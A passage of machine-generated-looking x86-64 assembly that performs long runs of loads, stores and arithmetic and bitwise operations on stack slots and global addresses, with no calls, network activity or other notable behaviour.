mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
movzx eax, word [rsp + 0xec8]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140178fa8], ax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x8e98], rax
movsx eax, byte [rsp + 0x76]
mov rcx, qword [0x14017a3d0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
lea rax, [rsp + 0xfd0]
mov qword [rsp + 0x8ea0], rax
mov rax, qword [rsp + 0x84f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ef0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc34], ax
lea rax, [rsp + 0x2d20]
mov qword [rsp + 0x8ea8], rax
mov rax, qword [rsp + 0x57b8]
mov rcx, qword [rsp + 0x6f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x51f8]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8068]
mov qword [rsp + 0x8eb0], rax
mov rax, qword [0x14017a2a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
and eax, ecx
mov word [0x140179014], ax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [0x140178fcc]
mov qword [rsp + 0x8eb8], rax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0xe24]
add eax, ecx
mov word [rsp + 0xd5c], ax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x115]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov byte [rcx], al
lea rax, [rsp + 0x5840]
mov qword [rsp + 0x8ec0], rax
mov rax, qword [rsp + 0x8568]
mov ecx, dword [rsp + 0x2d58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x75e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a58]
mov dword [rsp + 0x3188], eax
mov rax, qword [rsp + 0x89f8]
mov rcx, qword [rsp + 0x5518]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
lea rax, [rsp + 0x15a]
mov qword [0x14017a8d0], rax
movzx eax, word [rsp + 0xb10]
mov rcx, qword [rsp + 0x78c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x8a80]
movzx eax, byte [rax]
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x7318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd18], ax
lea rax, [rsp + 0x167]
mov qword [rsp + 0x8ec8], rax
mov rax, qword [rsp + 0x4f10]
mov rcx, qword [rsp + 0x8718]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7520], rax
mov rax, qword [rsp + 0x57b8]
mov rax, qword [rax]
mov qword [rsp + 0x8ed0], rax
mov rax, qword [rsp + 0x6278]
mov rcx, qword [rsp + 0x7ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2e78], eax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d44]
sar eax, cl
mov rcx, qword [rsp + 0x75a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8b0]
mov word [rsp + 0xfe0], ax
mov rax, qword [rsp + 0x7e60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178f1b], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x54c8]
mov word [rcx], ax
lea rax, [rsp + 0xef]
mov qword [rsp + 0x8ed8], rax
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x7fe8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x7f88]
mov rcx, qword [rsp + 0x5740]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6dc0], rax
lea rax, [rsp + 0x2cc4]
mov qword [rsp + 0x8ee0], rax
mov rax, qword [rsp + 0x7f68]
mov rcx, qword [rsp + 0x7da8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x54a0], rax
mov eax, dword [rsp + 0x2f20]
mov dword [rsp + 0x318c], eax
movsx eax, byte [0x140178e9e]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x5698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
add eax, ecx
mov byte [0x140178eea], al
mov rax, qword [0x14017a4a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb80], ax
movzx eax, word [rsp + 0xa04]
mov word [rsp + 0xfe4], ax
movzx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca0], ax
lea rax, [0x14017a064]
mov qword [rsp + 0x8ee8], rax
mov rax, qword [rsp + 0x88d0]
mov rcx, qword [rsp + 0x56a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7040], rax
mov rax, qword [rsp + 0x60f0]
mov ecx, dword [rsp + 0x2f50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be8], eax
lea rax, [rsp + 0x8400]
mov qword [rsp + 0x8ef0], rax
movsx eax, byte [rsp + 0x173]
movsx ecx, byte [rsp + 0xbd]
or eax, ecx
mov byte [rsp + 0xb3], al
lea rax, [rsp + 0xdac]
mov qword [0x14017a8d8], rax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x254], al
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb28], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x8ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x30fc], eax
mov rax, qword [rsp + 0x7c70]
movzx ecx, al
mov rax, qword [rsp + 0x8140]
shl rax, cl
mov qword [rsp + 0x5890], rax
mov rax, qword [rsp + 0x5130]
mov qword [rsp + 0x8f00], rax
mov eax, dword [0x14017a064]
mov ecx, dword [rsp + 0x2b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2df0], eax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x8f08], rax
movsx eax, word [rsp + 0xa58]
mov rcx, qword [rsp + 0x5d80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179018], ax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov rcx, qword [rsp + 0x8910]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x114]
sub eax, ecx
mov byte [rsp + 0x1c1], al
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x255], al
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d18]
mov rcx, qword [rsp + 0x8628]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61b8]
mov qword [rcx], rax
lea rax, [rsp + 0x304c]
mov qword [rsp + 0x8f18], rax
mov rax, qword [rsp + 0x7cd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x72b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a498]
mov word [rcx], ax
mov rax, qword [rsp + 0x8498]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x249], al
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x8f20], rax
movzx eax, word [rsp + 0x918]
mov rcx, qword [rsp + 0x5780]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f00]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0x6498]
movzx ecx, al
mov rax, qword [rsp + 0x5dc8]
shr rax, cl
mov qword [rsp + 0x5ab0], rax
mov rax, qword [rsp + 0x5ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b58]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov eax, dword [0x14017a060]
mov dword [rsp + 0x3190], eax
mov rax, qword [rsp + 0x8830]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5fd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6088]
mov qword [rcx], rax
mov rax, qword [rsp + 0x85d0]
movzx eax, word [rax]
mov word [0x14017a8e0], ax
lea rax, [0x140178e97]
mov qword [rsp + 0x8f28], rax
movzx eax, word [rsp + 0xcfc]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5700]
mov word [rcx], ax
mov rax, qword [rsp + 0x70f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x105]
and eax, ecx
mov rcx, qword [rsp + 0x6af0]
mov byte [rcx], al
lea rax, [0x14017a228]
mov qword [rsp + 0x8f30], rax
mov rax, qword [rsp + 0x6ea0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6168]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d70], rax
lea rax, [rsp + 0x2a68]
mov qword [rsp + 0x8f38], rax
mov rax, qword [rsp + 0x8818]
mov rcx, qword [rsp + 0x5f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d2c], eax
mov rax, qword [rsp + 0x73f0]
mov rcx, qword [rsp + 0x89a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8938], rax
mov rax, qword [rsp + 0x7050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [0x140178ef7], al
lea rax, [0x140178f40]
mov qword [rsp + 0x8f40], rax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1e8]
sub eax, ecx
mov rcx, qword [rsp + 0x8ba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e88]
movzx eax, word [rax]
mov word [rsp + 0xfe8], ax
movzx eax, byte [rsp + 0x111]
movzx ecx, byte [rsp + 0xe3]
and eax, ecx
mov rcx, qword [rsp + 0x82f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8218]
mov rcx, qword [rsp + 0x7800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x72c0], rax
lea rax, [rsp + 0x2a64]
mov qword [rsp + 0x8f48], rax
mov rax, qword [rsp + 0x7e28]
mov rcx, qword [rsp + 0x58a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x64c8], rax
lea rax, [rsp + 0x2c54]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x6528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ef4], ax
movzx eax, word [0x14017a5b4]
movzx ecx, word [rsp + 0xa64]
or eax, ecx
mov word [rsp + 0xf8c], ax
mov rax, qword [rsp + 0x80d0]
movzx eax, byte [rax]
mov byte [rsp + 0x257], al
movzx eax, byte [rsp + 0x250]
mov rcx, qword [rsp + 0x5e60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xb0], al
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xea0], ax
mov eax, dword [rsp + 0x2a94]
mov dword [rsp + 0x3194], eax
mov rax, qword [rsp + 0x7c70]
mov rcx, qword [rsp + 0x8cc0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x7a10]
mov eax, dword [rax]
mov dword [rsp + 0x3198], eax
mov rax, qword [rsp + 0x5cc0]
mov rcx, qword [rsp + 0x8c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x71c0], rax
lea rax, [rsp + 0xd4]
mov qword [0x14017a8e8], rax
mov rax, qword [0x14017a8c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x80d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0x6dc8]
movzx eax, byte [rax]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0x7568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
add eax, ecx
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0x6550]
movzx eax, byte [rax]
mov byte [rsp + 0x259], al
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6db0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x8cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f70], eax
mov rax, qword [rsp + 0x63a0]
mov eax, dword [rax]
mov dword [rsp + 0x319c], eax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x8d70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x75b8], rax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a650], ax
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ed8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x10d], al
movzx eax, word [rsp + 0xb9c]
movzx ecx, word [0x140178ec4]
sub eax, ecx
mov word [rsp + 0x9fc], ax
movzx eax, word [rsp + 0xe90]
mov word [rsp + 0xfec], ax
mov eax, dword [rsp + 0x2e64]
mov ecx, dword [rsp + 0x3014]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ff4], eax
mov rax, qword [rsp + 0x6500]
mov rax, qword [rax]
mov qword [rsp + 0x8f58], rax
mov rax, qword [rsp + 0x8378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
lea rax, [rsp + 0x2e3c]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x83b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178f32], al
mov rax, qword [0x14017a618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sar eax, cl
mov rcx, qword [rsp + 0x7858]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov word [rsp + 0xaac], ax
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x8f68], rax
mov rax, qword [0x14017a6c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6268]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf88], ax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x7b20]
mov rcx, qword [rsp + 0x70a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30fc], eax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x83e0], rax
lea rax, [rsp + 0x316c]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x8c28]
movsx eax, word [rax]
mov rcx, qword [0x14017a1d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x77b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
sub eax, ecx
mov word [0x14017901c], ax
lea rax, [rsp + 0x219]
mov qword [rsp + 0x8f80], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [0x14017a1c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a0], al
movsx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x7370]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x88b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6968]
mov qword [rsp + 0x8f88], rax
mov rax, qword [rsp + 0x68c0]
mov rcx, qword [rsp + 0x8c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x77f0], rax
lea rax, [rsp + 0x3158]
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2e08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2dac], eax
movzx eax, byte [0x14017a0fb]
mov byte [rsp + 0x25b], al
movzx eax, word [rsp + 0xef8]
movzx ecx, word [rsp + 0xca0]
sar eax, cl
mov word [0x140178f00], ax
movsx eax, byte [rsp + 0x20d]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe7], al
movsx eax, word [0x140179018]
movsx ecx, word [rsp + 0xfc0]
xor eax, ecx
mov word [rsp + 0xcb4], ax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0x5270]
mov rcx, qword [rsp + 0x7ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d50], eax
mov rax, qword [rsp + 0x88e8]
mov eax, dword [rax]
mov dword [rsp + 0x31a0], eax
mov rax, qword [rsp + 0x4f40]
mov rcx, qword [rsp + 0x6cc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5600], rax
mov rax, qword [rsp + 0x6630]
mov rcx, qword [rsp + 0x8c40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69d0], rax
lea rax, [0x140178fc8]
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x8c58]
movzx eax, byte [rax]
mov byte [0x14017a22b], al
mov rax, qword [rsp + 0x76e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x225]
and eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov byte [rcx], al
lea rax, [rsp + 0x11d]
mov qword [rsp + 0x8fa8], rax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x5108]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x8338]
mov ecx, dword [rsp + 0x2cc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ecc], eax
lea rax, [0x140178e78]
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x8830]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x2ef8]
mov dword [rsp + 0x31a4], eax
movzx eax, word [rsp + 0xb44]
mov rcx, qword [0x14017a4b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x7758]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [0x14017a196], al
movsx eax, byte [rsp + 0x19d]
movsx ecx, byte [rsp + 0x140]
sub eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x71b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5d80]
mov word [rcx], ax
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x80c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e8c], eax
lea rax, [rsp + 0x58b0]
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x83c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x319c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79c8]
mov rcx, qword [rsp + 0x59f0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x57d8]
mov qword [rcx], rax
lea rax, [rsp + 0xd00]
mov qword [0x14017a8f0], rax
movzx eax, byte [rsp + 0x1e4]
mov byte [rsp + 0x25c], al
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [0x14017a6b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5e38]
mov byte [rcx], al
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x8fc8], rax
movsx eax, word [rsp + 0xfc4]
movsx ecx, word [rsp + 0xe4c]
shl eax, cl
mov word [rsp + 0xba4], ax
mov rax, qword [rsp + 0x55d0]
mov rcx, qword [rsp + 0x6c80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5278]
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x6a58]
mov rcx, qword [rsp + 0x6b58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d6c], eax
mov rax, qword [rsp + 0x7108]
mov eax, dword [rax]
mov dword [rsp + 0x31a8], eax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov rcx, qword [0x14017a520]
mov byte [rcx], al
movsx eax, byte [rsp + 0x19a]
mov rcx, qword [rsp + 0x55a0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6460]
mov byte [rcx], al
mov rax, qword [0x14017a7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
add eax, ecx
mov rcx, qword [rsp + 0x80a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x79b0]
movzx eax, byte [rax]
mov byte [rsp + 0x25d], al
movzx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0x7b00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
lea rax, [rsp + 0x57c8]
mov qword [rsp + 0x8fd8], rax
mov rax, qword [rsp + 0x6808]
mov rcx, qword [rsp + 0x8658]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ed0], rax
lea rax, [rsp + 0x2ce0]
mov qword [rsp + 0x8fe0], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2dc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cfc], eax
lea rax, [rsp + 0x24a]
mov qword [0x14017a8f8], rax
movzx eax, byte [rsp + 0x204]
movzx ecx, byte [rsp + 0x17c]
sub eax, ecx
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
mov word [rsp + 0xff4], ax
movsx eax, word [rsp + 0xc40]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
lea rax, [rsp + 0xad]
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x87d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6750]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ba8], rax
lea rax, [rsp + 0x2d8c]
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0x8d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7da8]
mov qword [rsp + 0x8ff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ff8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7a08], rax
movsx eax, byte [rsp + 0x23a]
mov rcx, qword [rsp + 0x68e8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e75], al
movzx eax, word [rsp + 0x8b0]
mov word [rsp + 0xff8], ax
movzx eax, word [rsp + 0x984]
movzx ecx, word [0x140178fb4]
sub eax, ecx
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x7d38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7608]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
lea rax, [rsp + 0xe08]
mov qword [rsp + 0x9000], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2c30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e9c], eax
mov rax, qword [rsp + 0x8180]
mov eax, dword [rax]
mov dword [rsp + 0x31ac], eax
mov rax, qword [rsp + 0x74b8]
mov rcx, qword [rsp + 0x7ff8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5320]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63f8]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x74e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x234]
add eax, ecx
mov byte [0x140178f33], al
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x9008], rax
mov rax, qword [rsp + 0x72d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xea]
sub eax, ecx
mov byte [rsp + 0x23c], al
mov rax, qword [rsp + 0x6a90]
movzx eax, word [rax]
mov word [rsp + 0xffc], ax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x7e88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7188]
mov byte [rcx], al
mov eax, dword [rsp + 0x2e8c]
mov dword [rsp + 0x31b0], eax
mov rax, qword [rsp + 0x62a8]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ce0], rax
mov rax, qword [rsp + 0x4f50]
mov ecx, dword [rsp + 0x2c84]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6470]
mov dword [rcx], eax
lea rax, [rsp + 0x6318]
mov qword [rsp + 0x9010], rax
movzx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x6268]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140178ec4], ax
movsx eax, word [rsp + 0x958]
movsx ecx, word [rsp + 0x970]
shl eax, cl
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
movzx eax, word [rsp + 0xfa0]
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x7188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x160]
mov rcx, qword [0x14017a178]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8830]
mov rax, qword [rax]
mov qword [rsp + 0x9018], rax
mov eax, dword [rsp + 0x2b94]
mov ecx, dword [rsp + 0x2ec4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7078]
mov dword [rcx], eax
lea rax, [rsp + 0x3144]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x71c0]
mov rcx, qword [0x140178e60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5278], rax
mov rax, qword [rsp + 0x8c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee4]
sub eax, ecx
mov rcx, qword [0x14017a8f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22b]
movzx ecx, byte [rsp + 0x1af]
sub eax, ecx
mov byte [rsp + 0x13e], al
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x66f8]
movsx eax, byte [rax]
